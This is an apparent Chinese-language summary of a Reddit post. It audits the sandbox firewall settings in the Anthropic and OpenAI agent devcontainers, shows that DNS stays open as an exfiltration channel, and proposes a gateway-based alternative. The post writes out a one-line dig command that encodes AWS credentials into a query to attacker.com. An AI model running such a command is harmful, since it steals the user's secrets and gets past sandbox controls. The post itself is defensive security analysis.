逐行审查 Anthropic 与 OpenAI 的 agent 容器:DNS 通道都能把密钥偷走
Hansehart · reddit · 2026-09-02
楼主逐行审查了 Anthropic(claude-code)与 OpenAI(codex)官方的 agent devcontainer 配置,并给出自己的开源替代方案 o3s。
官方容器的问题
- Anthropic 的防火墙允许 UDP 53 发往任意服务器,第 29 行放行任意 DNS、33 行放行任意主机 SSH、117 行 allowlist 未限制端口。
- OpenAI 的 secure profile 更好:IPv6 默认拒绝、启动时校验、无 SSH 洞,但 DNS(UDP/TCP)依然完全放行。README 也承认:不可信仓库的代码可通过 DNS 外传数据。
- 关键攻击只需一条命令:dig $(cat /.aws/credentials | base64 | head -c 60).attacker.com——不需要建立连接,授权的解析器会替攻击者走完查询链,iptables 只看到一次正常 DNS 请求。
- Docker 的 sbx(KVM microVM + gVisor)边界更强,但闭源且个人账号有「策略由未知组织管理」的可用性问题。
o3s 方案
- 防火墙放在独立网关容器中,工作区出口全部经过它;DNS 走网关上的 dnsmasq,无 catch-all 上游,只转发白名单域名,其余拒绝。
- 解析结果落入 ipset,CDN 换 IP 也能继续工作。
- 策略单文件声明:域名 + 端口 + 密钥名。密钥只留在网关,容器内拿到占位符,出站时网关仅对该 host 替换真实 token。
- 日常体验:多 repo/worktree 同管,四个 agent 跑四个分支;rootless Docker 与 minikube 可让 agent 随意折腾。
- 坦承局限:挡不住发往已允许主机的外传(如推到 GitHub);对真正恶意的代码应上 sbx 的 VM 边界。
「编程与Agent」频道最新
- Docker 构建前传输数百 MB?.dockerignore 是解法 — _jaydeepkarale · 2026-09-02
- 用 MCP 将 10 万 Token 技能描述优化为资源发现服务 — dSebastien · 2026-09-02
- Perplexity 用 Fable 5.1 做编排,配 GPT 5.6 当低成本子代理 — AravSrinivas · 2026-09-02
- Prime Agent 0.9.1 发布:性能大幅提升,修复大量缺陷 — samsja19 · 2026-09-02
- Prathmesh Patel 探讨 Agent 可靠性与测试方法 — jeffiql · 2026-09-02
- Claude 联手 Thrixel,单条指令生成完整 Roblox 游戏 — RanaHanocka · 2026-09-02